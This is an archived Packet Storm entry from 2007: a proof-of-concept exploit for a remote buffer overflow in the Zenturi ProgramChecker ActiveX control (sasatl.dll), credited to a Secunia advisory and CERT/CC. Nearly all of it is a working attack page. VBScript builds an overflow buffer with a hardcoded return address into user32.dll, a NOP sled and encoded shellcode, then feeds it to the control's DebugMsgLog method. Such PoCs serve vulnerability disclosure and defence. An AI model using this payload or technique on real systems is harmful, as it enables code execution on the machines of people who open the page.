zenturi-overflow.txt

2007-06-07T00:00:00
ID PACKETSTORM:57076
Type packetstorm
Reporter shinnai
Modified 2007-06-07T00:00:00

Description

                                        
                                            `<pre>  
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------  
<b>Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow PoC</b>  
url: http://www.programchecker.com/activeintro.aspx  
  
<b><font color=red>original advisory: http://secunia.com/advisories/25473/  
Will Dormann, CERT/CC, is credited with the discovery of these issues</font></b>  
  
author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://shinnai.altervista.org  
  
Tested on Windows XP Professional SP2 all patched, with Internet  
Explorer 7  
------------------------------------------------------------------------  
  
<object classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5' id='test'></object>  
  
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">  
  
<script language = 'vbscript'>  
Sub tryMe()  
buff = String(838, "A")  
  
get_EIP = unescape("%AA%A2%39%7E") 'call ESI from user32.dll  
  
nop = String(1648,unescape("%90"))  
  
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _  
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _  
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _  
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _  
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _  
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _  
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _  
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _  
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _  
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _  
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _  
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _  
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _  
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _  
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _  
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _  
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _  
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _  
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _  
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _  
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _  
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")  
  
test.DebugMsgLog buff + get_EIP + nop + shellcode + nop  
End Sub  
</script>  
  
</span></span>  
</code></pre>  
`